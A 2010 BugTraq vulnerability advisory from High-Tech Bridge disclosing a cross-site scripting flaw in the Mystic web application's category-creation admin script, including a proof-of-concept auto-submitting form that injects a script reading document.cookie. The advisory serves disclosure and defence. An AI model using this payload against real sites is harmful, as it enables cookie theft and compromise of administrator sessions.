BugTraq
XSS vulnerability in Mystic Aug 13 2010 07:11AM
advisory htbridge ch
Vulnerability ID: HTB22534
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_mystic.html
Product: Mystic
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/mystic )
Vulnerable Version: 0.1.4 and Probably Prior Versions
Vendor Notification: 27 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/create_new_category script to properly sanitize user-supplied input in "category[name]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/create_new_category" method="post" name="main" >
<input type="hidden" name="category[id]" value="999" >
<input type="hidden" name="category[name]" value='mynewcat"><script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Create New Category!" >
</form>
<script>
document.main.submit();
</script>

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